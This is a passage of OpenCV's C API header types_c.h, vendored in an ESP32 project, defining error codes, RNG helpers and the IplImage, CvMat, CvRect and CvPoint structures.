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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/types_c.h | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_TYPES_H
#define OPENCV_CORE_TYPES_H
#ifdef CV__ENABLE_C_API_CTORS // invalid C API ctors (must be removed)
#if defined(_WIN32) && !defined(CV__SKIP_MESSAGE_MALFORMED_C_API_CTORS)
#error "C API ctors don't work on Win32: https://github.com/opencv/opencv/issues/15990"
#endif
#endif
//#define CV__VALIDATE_UNUNITIALIZED_VARS 1 // C++11 & GCC only
#ifdef __cplusplus
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#define CV_STRUCT_INITIALIZER {0,}
#else
#if defined(__GNUC__) && __GNUC__ == 4 // GCC 4.x warns on "= {}" initialization, fixed in GCC 5.0
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#endif
#define CV_STRUCT_INITIALIZER {}
#endif
#else
#define CV_STRUCT_INITIALIZER {0}
#endif
#ifdef HAVE_IPL
# ifndef __IPL_H__
# if defined _WIN32
# include <ipl.h>
# else
# include <ipl/ipl.h>
# endif
# endif
#elif defined __IPL_H__
# define HAVE_IPL
#endif
#include "opencv2/core/cvdef.h"
#ifndef SKIP_INCLUDES
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include <float.h>
#endif // SKIP_INCLUDES
#if defined _WIN32
# define CV_CDECL __cdecl
# define CV_STDCALL __stdcall
#else
# define CV_CDECL
# define CV_STDCALL
#endif
#ifndef CV_DEFAULT
# ifdef __cplusplus
# define CV_DEFAULT(val) = val
# else
# define CV_DEFAULT(val)
# endif
#endif
#ifndef CV_EXTERN_C_FUNCPTR
# ifdef __cplusplus
# define CV_EXTERN_C_FUNCPTR(x) extern "C" { typedef x; }
# else
# define CV_EXTERN_C_FUNCPTR(x) typedef x
# endif
#endif
#ifndef CVAPI
# define CVAPI(rettype) CV_EXTERN_C CV_EXPORTS rettype CV_CDECL
#endif
#ifndef CV_IMPL
# define CV_IMPL CV_EXTERN_C
#endif
#ifdef __cplusplus
# include "opencv2/core.hpp"
#endif
/** @addtogroup core_c
@{
*/
/** @brief This is the "metatype" used *only* as a function parameter.
It denotes that the function accepts arrays of multiple types, such as IplImage*, CvMat* or even
CvSeq* sometimes. The particular array type is determined at runtime by analyzing the first 4
bytes of the header. In C++ interface the role of CvArr is played by InputArray and OutputArray.
*/
typedef void CvArr;
typedef int CVStatus;
/** @see cv::Error::Code */
enum {
CV_StsOk= 0, /**< everything is ok */
CV_StsBackTrace= -1, /**< pseudo error for back trace */
CV_StsError= -2, /**< unknown /unspecified error */
CV_StsInternal= -3, /**< internal error (bad state) */
CV_StsNoMem= -4, /**< insufficient memory */
CV_StsBadArg= -5, /**< function arg/param is bad */
CV_StsBadFunc= -6, /**< unsupported function */
CV_StsNoConv= -7, /**< iter. didn't converge */
CV_StsAutoTrace= -8, /**< tracing */
CV_HeaderIsNull= -9, /**< image header is NULL */
CV_BadImageSize= -10, /**< image size is invalid */
CV_BadOffset= -11, /**< offset is invalid */
CV_BadDataPtr= -12, /**/
CV_BadStep= -13, /**< image step is wrong, this may happen for a non-continuous matrix */
CV_BadModelOrChSeq= -14, /**/
CV_BadNumChannels= -15, /**< bad number of channels, for example, some functions accept only single channel matrices */
CV_BadNumChannel1U= -16, /**/
CV_BadDepth= -17, /**< input image depth is not supported by the function */
CV_BadAlphaChannel= -18, /**/
CV_BadOrder= -19, /**< number of dimensions is out of range */
CV_BadOrigin= -20, /**< incorrect input origin */
CV_BadAlign= -21, /**< incorrect input align */
CV_BadCallBack= -22, /**/
CV_BadTileSize= -23, /**/
CV_BadCOI= -24, /**< input COI is not supported */
CV_BadROISize= -25, /**< incorrect input roi */
CV_MaskIsTiled= -26, /**/
CV_StsNullPtr= -27, /**< null pointer */
CV_StsVecLengthErr= -28, /**< incorrect vector length */
CV_StsFilterStructContentErr= -29, /**< incorrect filter structure content */
CV_StsKernelStructContentErr= -30, /**< incorrect transform kernel content */
CV_StsFilterOffsetErr= -31, /**< incorrect filter offset value */
CV_StsBadSize= -201, /**< the input/output structure size is incorrect */
CV_StsDivByZero= -202, /**< division by zero */
CV_StsInplaceNotSupported= -203, /**< in-place operation is not supported */
CV_StsObjectNotFound= -204, /**< request can't be completed */
CV_StsUnmatchedFormats= -205, /**< formats of input/output arrays differ */
CV_StsBadFlag= -206, /**< flag is wrong or not supported */
CV_StsBadPoint= -207, /**< bad CvPoint */
CV_StsBadMask= -208, /**< bad format of mask (neither 8uC1 nor 8sC1)*/
CV_StsUnmatchedSizes= -209, /**< sizes of input/output structures do not match */
CV_StsUnsupportedFormat= -210, /**< the data format/type is not supported by the function*/
CV_StsOutOfRange= -211, /**< some of parameters are out of range */
CV_StsParseError= -212, /**< invalid syntax/structure of the parsed file */
CV_StsNotImplemented= -213, /**< the requested function/feature is not implemented */
CV_StsBadMemBlock= -214, /**< an allocated block has been corrupted */
CV_StsAssert= -215, /**< assertion failed */
CV_GpuNotSupported= -216, /**< no CUDA support */
CV_GpuApiCallError= -217, /**< GPU API call error */
CV_OpenGlNotSupported= -218, /**< no OpenGL support */
CV_OpenGlApiCallError= -219, /**< OpenGL API call error */
CV_OpenCLApiCallError= -220, /**< OpenCL API call error */
CV_OpenCLDoubleNotSupported= -221,
CV_OpenCLInitError= -222, /**< OpenCL initialization error */
CV_OpenCLNoAMDBlasFft= -223
};
/****************************************************************************************\
* Common macros and inline functions *
\****************************************************************************************/
#define CV_SWAP(a,b,t) ((t) = (a), (a) = (b), (b) = (t))
/** min & max without jumps */
#define CV_IMIN(a, b) ((a) ^ (((a)^(b)) & (((a) < (b)) - 1)))
#define CV_IMAX(a, b) ((a) ^ (((a)^(b)) & (((a) > (b)) - 1)))
/** absolute value without jumps */
#ifndef __cplusplus
# define CV_IABS(a) (((a) ^ ((a) < 0 ? -1 : 0)) - ((a) < 0 ? -1 : 0))
#else
# define CV_IABS(a) abs(a)
#endif
#define CV_CMP(a,b) (((a) > (b)) - ((a) < (b)))
#define CV_SIGN(a) CV_CMP((a),0)
#define cvInvSqrt(value) ((float)(1./sqrt(value)))
#define cvSqrt(value) ((float)sqrt(value))
/*************** Random number generation *******************/
typedef uint64 CvRNG;
#define CV_RNG_COEFF 4164903690U
/** @brief Initializes a random number generator state.
The function initializes a random number generator and returns the state. The pointer to the state
can be then passed to the cvRandInt, cvRandReal and cvRandArr functions. In the current
implementation a multiply-with-carry generator is used.
@param seed 64-bit value used to initiate a random sequence
@sa the C++ class RNG replaced CvRNG.
*/
CV_INLINE CvRNG cvRNG( int64 seed CV_DEFAULT(-1))
{
CvRNG rng = seed ? (uint64)seed : (uint64)(int64)-1;
return rng;
}
/** @brief Returns a 32-bit unsigned integer and updates RNG.
The function returns a uniformly-distributed random 32-bit unsigned integer and updates the RNG
state. It is similar to the rand() function from the C runtime library, except that OpenCV functions
always generates a 32-bit random number, regardless of the platform.
@param rng CvRNG state initialized by cvRNG.
*/
CV_INLINE unsigned cvRandInt( CvRNG* rng )
{
uint64 temp = *rng;
temp = (uint64)(unsigned)temp*CV_RNG_COEFF + (temp >> 32);
*rng = temp;
return (unsigned)temp;
}
/** @brief Returns a floating-point random number and updates RNG.
The function returns a uniformly-distributed random floating-point number between 0 and 1 (1 is not
included).
@param rng RNG state initialized by cvRNG
*/
CV_INLINE double cvRandReal( CvRNG* rng )
{
return cvRandInt(rng)*2.3283064365386962890625e-10 /* 2^-32 */;
}
/****************************************************************************************\
* Image type (IplImage) *
\****************************************************************************************/
#ifndef HAVE_IPL
/*
* The following definitions (until #endif)
* is an extract from IPL headers.
* Copyright (c) 1995 Intel Corporation.
*/
#define IPL_DEPTH_SIGN 0x80000000
#define IPL_DEPTH_1U 1
#define IPL_DEPTH_8U 8
#define IPL_DEPTH_16U 16
#define IPL_DEPTH_32F 32
#define IPL_DEPTH_8S (IPL_DEPTH_SIGN| 8)
#define IPL_DEPTH_16S (IPL_DEPTH_SIGN|16)
#define IPL_DEPTH_32S (IPL_DEPTH_SIGN|32)
#define IPL_DATA_ORDER_PIXEL 0
#define IPL_DATA_ORDER_PLANE 1
#define IPL_ORIGIN_TL 0
#define IPL_ORIGIN_BL 1
#define IPL_ALIGN_4BYTES 4
#define IPL_ALIGN_8BYTES 8
#define IPL_ALIGN_16BYTES 16
#define IPL_ALIGN_32BYTES 32
#define IPL_ALIGN_DWORD IPL_ALIGN_4BYTES
#define IPL_ALIGN_QWORD IPL_ALIGN_8BYTES
#define IPL_BORDER_CONSTANT 0
#define IPL_BORDER_REPLICATE 1
#define IPL_BORDER_REFLECT 2
#define IPL_BORDER_WRAP 3
#ifdef __cplusplus
typedef struct _IplImage IplImage;
CV_EXPORTS _IplImage cvIplImage(const cv::Mat& m);
#endif
/** The IplImage is taken from the Intel Image Processing Library, in which the format is native. OpenCV
only supports a subset of possible IplImage formats, as outlined in the parameter list above.
In addition to the above restrictions, OpenCV handles ROIs differently. OpenCV functions require
that the image size or ROI size of all source and destination images match exactly. On the other
hand, the Intel Image Processing Library processes the area of intersection between the source and
destination images (or ROIs), allowing them to vary independently.
*/
typedef struct
_IplImage
{
int nSize; /**< sizeof(IplImage) */
int ID; /**< version (=0)*/
int nChannels; /**< Most of OpenCV functions support 1,2,3 or 4 channels */
int alphaChannel; /**< Ignored by OpenCV */
int depth; /**< Pixel depth in bits: IPL_DEPTH_8U, IPL_DEPTH_8S, IPL_DEPTH_16S,
IPL_DEPTH_32S, IPL_DEPTH_32F and IPL_DEPTH_64F are supported. */
char colorModel[4]; /**< Ignored by OpenCV */
char channelSeq[4]; /**< ditto */
int dataOrder; /**< 0 - interleaved color channels, 1 - separate color channels.
cvCreateImage can only create interleaved images */
int origin; /**< 0 - top-left origin,
1 - bottom-left origin (Windows bitmaps style). */
int align; /**< Alignment of image rows (4 or 8).
OpenCV ignores it and uses widthStep instead. */
int width; /**< Image width in pixels. */
int height; /**< Image height in pixels. */
struct _IplROI *roi; /**< Image ROI. If NULL, the whole image is selected. */
struct _IplImage *maskROI; /**< Must be NULL. */
void *imageId; /**< " " */
struct _IplTileInfo *tileInfo; /**< " " */
int imageSize; /**< Image data size in bytes
(==image->height*image->widthStep
in case of interleaved data)*/
char *imageData; /**< Pointer to aligned image data. */
int widthStep; /**< Size of aligned image row in bytes. */
int BorderMode[4]; /**< Ignored by OpenCV. */
int BorderConst[4]; /**< Ditto. */
char *imageDataOrigin; /**< Pointer to very origin of image data
(not necessarily aligned) -
needed for correct deallocation */
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
_IplImage() {}
_IplImage(const cv::Mat& m) { *this = cvIplImage(m); }
#endif
}
IplImage;
CV_INLINE IplImage cvIplImage()
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
IplImage self = CV_STRUCT_INITIALIZER; self.nSize = sizeof(IplImage); return self;
#else
return _IplImage();
#endif
}
typedef struct _IplTileInfo IplTileInfo;
typedef struct _IplROI
{
int coi; /**< 0 - no COI (all channels are selected), 1 - 0th channel is selected ...*/
int xOffset;
int yOffset;
int width;
int height;
}
IplROI;
typedef struct _IplConvKernel
{
int nCols;
int nRows;
int anchorX;
int anchorY;
int *values;
int nShiftR;
}
IplConvKernel;
typedef struct _IplConvKernelFP
{
int nCols;
int nRows;
int anchorX;
int anchorY;
float *values;
}
IplConvKernelFP;
#define IPL_IMAGE_HEADER 1
#define IPL_IMAGE_DATA 2
#define IPL_IMAGE_ROI 4
#endif/*HAVE_IPL*/
/** extra border mode */
#define IPL_BORDER_REFLECT_101 4
#define IPL_BORDER_TRANSPARENT 5
#define IPL_IMAGE_MAGIC_VAL ((int)sizeof(IplImage))
#define CV_TYPE_NAME_IMAGE "opencv-image"
#define CV_IS_IMAGE_HDR(img) \
((img) != NULL && ((const IplImage*)(img))->nSize == sizeof(IplImage))
#define CV_IS_IMAGE(img) \
(CV_IS_IMAGE_HDR(img) && ((IplImage*)img)->imageData != NULL)
/** for storing double-precision
floating point data in IplImage's */
#define IPL_DEPTH_64F 64
/** get reference to pixel at (col,row),
for multi-channel images (col) should be multiplied by number of channels */
#define CV_IMAGE_ELEM( image, elemtype, row, col ) \
(((elemtype*)((image)->imageData + (image)->widthStep*(row)))[(col)])
/****************************************************************************************\
* Matrix type (CvMat) *
\****************************************************************************************/
#define CV_AUTO_STEP 0x7fffffff
#define CV_WHOLE_ARR cvSlice( 0, 0x3fffffff )
#define CV_MAGIC_MASK 0xFFFF0000
#define CV_MAT_MAGIC_VAL 0x42420000
#define CV_TYPE_NAME_MAT "opencv-matrix"
#ifdef __cplusplus
typedef struct CvMat CvMat;
CV_INLINE CvMat cvMat(const cv::Mat& m);
#endif
/** Matrix elements are stored row by row. Element (i, j) (i - 0-based row index, j - 0-based column
index) of a matrix can be retrieved or modified using CV_MAT_ELEM macro:
uchar pixval = CV_MAT_ELEM(grayimg, uchar, i, j)
CV_MAT_ELEM(cameraMatrix, float, 0, 2) = image.width*0.5f;
To access multiple-channel matrices, you can use
CV_MAT_ELEM(matrix, type, i, j\*nchannels + channel_idx).
@deprecated CvMat is now obsolete; consider using Mat instead.
*/
typedef struct CvMat
{
int type;
int step;
/* for internal use only */
int* refcount;
int hdr_refcount;
union
{
uchar* ptr;
short* s;
int* i;
float* fl;
double* db;
} data;
#ifdef __cplusplus
union
{
int rows;
int height;
};
union
{
int cols;
int width;
};
#else
int rows;
int cols;
#endif
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvMat() {}
CvMat(const cv::Mat& m) { *this = cvMat(m); }
#endif
}
CvMat;
#define CV_IS_MAT_HDR(mat) \
((mat) != NULL && \
(((const CvMat*)(mat))->type & CV_MAGIC_MASK) == CV_MAT_MAGIC_VAL && \
((const CvMat*)(mat))->cols > 0 && ((const CvMat*)(mat))->rows > 0)
#define CV_IS_MAT_HDR_Z(mat) \
((mat) != NULL && \
(((const CvMat*)(mat))->type & CV_MAGIC_MASK) == CV_MAT_MAGIC_VAL && \
((const CvMat*)(mat))->cols >= 0 && ((const CvMat*)(mat))->rows >= 0)
#define CV_IS_MAT(mat) \
(CV_IS_MAT_HDR(mat) && ((const CvMat*)(mat))->data.ptr != NULL)
#define CV_IS_MASK_ARR(mat) \
(((mat)->type & (CV_MAT_TYPE_MASK & ~CV_8SC1)) == 0)
#define CV_ARE_TYPES_EQ(mat1, mat2) \
((((mat1)->type ^ (mat2)->type) & CV_MAT_TYPE_MASK) == 0)
#define CV_ARE_CNS_EQ(mat1, mat2) \
((((mat1)->type ^ (mat2)->type) & CV_MAT_CN_MASK) == 0)
#define CV_ARE_DEPTHS_EQ(mat1, mat2) \
((((mat1)->type ^ (mat2)->type) & CV_MAT_DEPTH_MASK) == 0)
#define CV_ARE_SIZES_EQ(mat1, mat2) \
((mat1)->rows == (mat2)->rows && (mat1)->cols == (mat2)->cols)
#define CV_IS_MAT_CONST(mat) \
(((mat)->rows|(mat)->cols) == 1)
#define IPL2CV_DEPTH(depth) \
((((CV_8U)+(CV_16U<<4)+(CV_32F<<8)+(CV_64F<<16)+(CV_8S<<20)+ \
(CV_16S<<24)+(CV_32S<<28)) >> ((((depth) & 0xF0) >> 2) + \
(((depth) & IPL_DEPTH_SIGN) ? 20 : 0))) & 15)
/** Inline constructor. No data is allocated internally!!!
* (Use together with cvCreateData, or use cvCreateMat instead to
* get a matrix with allocated data):
*/
CV_INLINE CvMat cvMat( int rows, int cols, int type, void* data CV_DEFAULT(NULL))
{
CvMat m;
assert( (unsigned)CV_MAT_DEPTH(type) <= CV_64F );
type = CV_MAT_TYPE(type);
m.type = CV_MAT_MAGIC_VAL | CV_MAT_CONT_FLAG | type;
m.cols = cols;
m.rows = rows;
m.step = m.cols*CV_ELEM_SIZE(type);
m.data.ptr = (uchar*)data;
m.refcount = NULL;
m.hdr_refcount = 0;
return m;
}
#ifdef __cplusplus
CV_INLINE CvMat cvMat(const cv::Mat& m)
{
CvMat self;
CV_DbgAssert(m.dims <= 2);
self = cvMat(m.rows, m.dims == 1 ? 1 : m.cols, m.type(), m.data);
self.step = (int)m.step[0];
self.type = (self.type & ~cv::Mat::CONTINUOUS_FLAG) | (m.flags & cv::Mat::CONTINUOUS_FLAG);
return self;
}
CV_INLINE CvMat cvMat()
{
#if !defined(CV__ENABLE_C_API_CTORS)
CvMat self = CV_STRUCT_INITIALIZER; return self;
#else
return CvMat();
#endif
}
CV_INLINE CvMat cvMat(const CvMat& m)
{
#if !defined(CV__ENABLE_C_API_CTORS)
CvMat self = CV_STRUCT_INITIALIZER; memcpy(&self, &m, sizeof(self)); return self;
#else
return CvMat(m);
#endif
}
#endif // __cplusplus
#define CV_MAT_ELEM_PTR_FAST( mat, row, col, pix_size ) \
(assert( (unsigned)(row) < (unsigned)(mat).rows && \
(unsigned)(col) < (unsigned)(mat).cols ), \
(mat).data.ptr + (size_t)(mat).step*(row) + (pix_size)*(col))
#define CV_MAT_ELEM_PTR( mat, row, col ) \
CV_MAT_ELEM_PTR_FAST( mat, row, col, CV_ELEM_SIZE((mat).type) )
#define CV_MAT_ELEM( mat, elemtype, row, col ) \
(*(elemtype*)CV_MAT_ELEM_PTR_FAST( mat, row, col, sizeof(elemtype)))
/** @brief Returns the particular element of single-channel floating-point matrix.
The function is a fast replacement for cvGetReal2D in the case of single-channel floating-point
matrices. It is faster because it is inline, it does fewer checks for array type and array element
type, and it checks for the row and column ranges only in debug mode.
@param mat Input matrix
@param row The zero-based index of row
@param col The zero-based index of column
*/
CV_INLINE double cvmGet( const CvMat* mat, int row, int col )
{
int type;
type = CV_MAT_TYPE(mat->type);
assert( (unsigned)row < (unsigned)mat->rows &&
(unsigned)col < (unsigned)mat->cols );
if( type == CV_32FC1 )
return ((float*)(void*)(mat->data.ptr + (size_t)mat->step*row))[col];
else
{
assert( type == CV_64FC1 );
return ((double*)(void*)(mat->data.ptr + (size_t)mat->step*row))[col];
}
}
/** @brief Sets a specific element of a single-channel floating-point matrix.
The function is a fast replacement for cvSetReal2D in the case of single-channel floating-point
matrices. It is faster because it is inline, it does fewer checks for array type and array element
type, and it checks for the row and column ranges only in debug mode.
@param mat The matrix
@param row The zero-based index of row
@param col The zero-based index of column
@param value The new value of the matrix element
*/
CV_INLINE void cvmSet( CvMat* mat, int row, int col, double value )
{
int type;
type = CV_MAT_TYPE(mat->type);
assert( (unsigned)row < (unsigned)mat->rows &&
(unsigned)col < (unsigned)mat->cols );
if( type == CV_32FC1 )
((float*)(void*)(mat->data.ptr + (size_t)mat->step*row))[col] = (float)value;
else
{
assert( type == CV_64FC1 );
((double*)(void*)(mat->data.ptr + (size_t)mat->step*row))[col] = value;
}
}
CV_INLINE int cvIplDepth( int type )
{
int depth = CV_MAT_DEPTH(type);
return CV_ELEM_SIZE1(depth)*8 | (depth == CV_8S || depth == CV_16S ||
depth == CV_32S ? IPL_DEPTH_SIGN : 0);
}
/****************************************************************************************\
* Multi-dimensional dense array (CvMatND) *
\****************************************************************************************/
#define CV_MATND_MAGIC_VAL 0x42430000
#define CV_TYPE_NAME_MATND "opencv-nd-matrix"
#define CV_MAX_DIM 32
#ifdef __cplusplus
typedef struct CvMatND CvMatND;
CV_EXPORTS CvMatND cvMatND(const cv::Mat& m);
#endif
/**
@deprecated consider using cv::Mat instead
*/
typedef struct
CvMatND
{
int type;
int dims;
int* refcount;
int hdr_refcount;
union
{
uchar* ptr;
float* fl;
double* db;
int* i;
short* s;
} data;
struct
{
int size;
int step;
}
dim[CV_MAX_DIM];
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvMatND() {}
CvMatND(const cv::Mat& m) { *this = cvMatND(m); }
#endif
}
CvMatND;
CV_INLINE CvMatND cvMatND()
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvMatND self = CV_STRUCT_INITIALIZER; return self;
#else
return CvMatND();
#endif
}
#define CV_IS_MATND_HDR(mat) \
((mat) != NULL && (((const CvMatND*)(mat))->type & CV_MAGIC_MASK) == CV_MATND_MAGIC_VAL)
#define CV_IS_MATND(mat) \
(CV_IS_MATND_HDR(mat) && ((const CvMatND*)(mat))->data.ptr != NULL)
/****************************************************************************************\
* Multi-dimensional sparse array (CvSparseMat) *
\****************************************************************************************/
#define CV_SPARSE_MAT_MAGIC_VAL 0x42440000
#define CV_TYPE_NAME_SPARSE_MAT "opencv-sparse-matrix"
struct CvSet;
typedef struct CvSparseMat
{
int type;
int dims;
int* refcount;
int hdr_refcount;
struct CvSet* heap;
void** hashtable;
int hashsize;
int valoffset;
int idxoffset;
int size[CV_MAX_DIM];
#ifdef __cplusplus
CV_EXPORTS void copyToSparseMat(cv::SparseMat& m) const;
#endif
}
CvSparseMat;
#ifdef __cplusplus
CV_EXPORTS CvSparseMat* cvCreateSparseMat(const cv::SparseMat& m);
#endif
#define CV_IS_SPARSE_MAT_HDR(mat) \
((mat) != NULL && \
(((const CvSparseMat*)(mat))->type & CV_MAGIC_MASK) == CV_SPARSE_MAT_MAGIC_VAL)
#define CV_IS_SPARSE_MAT(mat) \
CV_IS_SPARSE_MAT_HDR(mat)
/**************** iteration through a sparse array *****************/
typedef struct CvSparseNode
{
unsigned hashval;
struct CvSparseNode* next;
}
CvSparseNode;
typedef struct CvSparseMatIterator
{
CvSparseMat* mat;
CvSparseNode* node;
int curidx;
}
CvSparseMatIterator;
#define CV_NODE_VAL(mat,node) ((void*)((uchar*)(node) + (mat)->valoffset))
#define CV_NODE_IDX(mat,node) ((int*)((uchar*)(node) + (mat)->idxoffset))
/****************************************************************************************\
* Histogram *
\****************************************************************************************/
typedef int CvHistType;
#define CV_HIST_MAGIC_VAL 0x42450000
#define CV_HIST_UNIFORM_FLAG (1 << 10)
/** indicates whether bin ranges are set already or not */
#define CV_HIST_RANGES_FLAG (1 << 11)
#define CV_HIST_ARRAY 0
#define CV_HIST_SPARSE 1
#define CV_HIST_TREE CV_HIST_SPARSE
/** should be used as a parameter only,
it turns to CV_HIST_UNIFORM_FLAG of hist->type */
#define CV_HIST_UNIFORM 1
typedef struct CvHistogram
{
int type;
CvArr* bins;
float thresh[CV_MAX_DIM][2]; /**< For uniform histograms. */
float** thresh2; /**< For non-uniform histograms. */
CvMatND mat; /**< Embedded matrix header for array histograms. */
}
CvHistogram;
#define CV_IS_HIST( hist ) \
((hist) != NULL && \
(((CvHistogram*)(hist))->type & CV_MAGIC_MASK) == CV_HIST_MAGIC_VAL && \
(hist)->bins != NULL)
#define CV_IS_UNIFORM_HIST( hist ) \
(((hist)->type & CV_HIST_UNIFORM_FLAG) != 0)
#define CV_IS_SPARSE_HIST( hist ) \
CV_IS_SPARSE_MAT((hist)->bins)
#define CV_HIST_HAS_RANGES( hist ) \
(((hist)->type & CV_HIST_RANGES_FLAG) != 0)
/****************************************************************************************\
* Other supplementary data type definitions *
\****************************************************************************************/
/*************************************** CvRect *****************************************/
/** @sa Rect_ */
typedef struct CvRect
{
int x;
int y;
int width;
int height;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvRect() __attribute__(( warning("Non-initialized variable") )) {};
template<typename _Tp> CvRect(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 4);
x = y = width = height = 0;
if (list.size() == 4)
{
x = list.begin()[0]; y = list.begin()[1]; width = list.begin()[2]; height = list.begin()[3];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvRect(int _x = 0, int _y = 0, int w = 0, int h = 0): x(_x), y(_y), width(w), height(h) {}
template<typename _Tp>
CvRect(const cv::Rect_<_Tp>& r): x(cv::saturate_cast<int>(r.x)), y(cv::saturate_cast<int>(r.y)), width(cv::saturate_cast<int>(r.width)), height(cv::saturate_cast<int>(r.height)) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Rect_<_Tp>() const { return cv::Rect_<_Tp>((_Tp)x, (_Tp)y, (_Tp)width, (_Tp)height); }
#endif
}
CvRect;
/** constructs CvRect structure. */
CV_INLINE CvRect cvRect( int x, int y, int width, int height )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvRect r = {x, y, width, height};
#else
CvRect r(x, y , width, height);
#endif
return r;
}
#ifdef __cplusplus
CV_INLINE CvRect cvRect(const cv::Rect& rc) { return cvRect(rc.x, rc.y, rc.width, rc.height); }
#endif
CV_INLINE IplROI cvRectToROI( CvRect rect, int coi )
{
IplROI roi;
roi.xOffset = rect.x;
roi.yOffset = rect.y;
roi.width = rect.width;
roi.height = rect.height;
roi.coi = coi;
return roi;
}
CV_INLINE CvRect cvROIToRect( IplROI roi )
{
return cvRect( roi.xOffset, roi.yOffset, roi.width, roi.height );
}
/*********************************** CvTermCriteria *************************************/
#define CV_TERMCRIT_ITER 1
#define CV_TERMCRIT_NUMBER CV_TERMCRIT_ITER
#define CV_TERMCRIT_EPS 2
/** @sa TermCriteria
*/
typedef struct CvTermCriteria
{
int type; /**< may be combination of
CV_TERMCRIT_ITER
CV_TERMCRIT_EPS */
int max_iter;
double epsilon;
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvTermCriteria(int _type = 0, int _iter = 0, double _eps = 0) : type(_type), max_iter(_iter), epsilon(_eps) {}
CvTermCriteria(const cv::TermCriteria& t) : type(t.type), max_iter(t.maxCount), epsilon(t.epsilon) {}
#endif
#ifdef __cplusplus
operator cv::TermCriteria() const { return cv::TermCriteria(type, max_iter, epsilon); }
#endif
}
CvTermCriteria;
CV_INLINE CvTermCriteria cvTermCriteria( int type, int max_iter, double epsilon )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvTermCriteria t = { type, max_iter, (float)epsilon};
#else
CvTermCriteria t(type, max_iter, epsilon);
#endif
return t;
}
#ifdef __cplusplus
CV_INLINE CvTermCriteria cvTermCriteria(const cv::TermCriteria& t) { return cvTermCriteria(t.type, t.maxCount, t.epsilon); }
#endif
/******************************* CvPoint and variants ***********************************/
typedef struct CvPoint
{
int x;
int y;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvPoint() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvPoint(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
x = y = 0;
if (list.size() == 2)
{
x = list.begin()[0]; y = list.begin()[1];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvPoint(int _x = 0, int _y = 0): x(_x), y(_y) {}
template<typename _Tp>
CvPoint(const cv::Point_<_Tp>& pt): x((int)pt.x), y((int)pt.y) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Point_<_Tp>() const { return cv::Point_<_Tp>(cv::saturate_cast<_Tp>(x), cv::saturate_cast<_Tp>(y)); }
#endif
}
CvPoint;
/** constructs CvPoint structure. */
CV_INLINE CvPoint cvPoint( int x, int y )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint p = {x, y};
#else
CvPoint p(x, y);
#endif
return p;
}
#ifdef __cplusplus
CV_INLINE CvPoint cvPoint(const cv::Point& pt) { return cvPoint(pt.x, pt.y); }
#endif
typedef struct CvPoint2D32f
{
float x;
float y;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvPoint2D32f() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvPoint2D32f(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
x = y = 0;
if (list.size() == 2)
{
x = list.begin()[0]; y = list.begin()[1];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvPoint2D32f(float _x = 0, float _y = 0): x(_x), y(_y) {}
template<typename _Tp>
CvPoint2D32f(const cv::Point_<_Tp>& pt): x((float)pt.x), y((float)pt.y) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Point_<_Tp>() const { return cv::Point_<_Tp>(cv::saturate_cast<_Tp>(x), cv::saturate_cast<_Tp>(y)); }
#endif
}
CvPoint2D32f;
/** constructs CvPoint2D32f structure. */
CV_INLINE CvPoint2D32f cvPoint2D32f( double x, double y )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint2D32f p = { (float)x, (float)y };
#else
CvPoint2D32f p((float)x, (float)y);
#endif
return p;
}
#ifdef __cplusplus
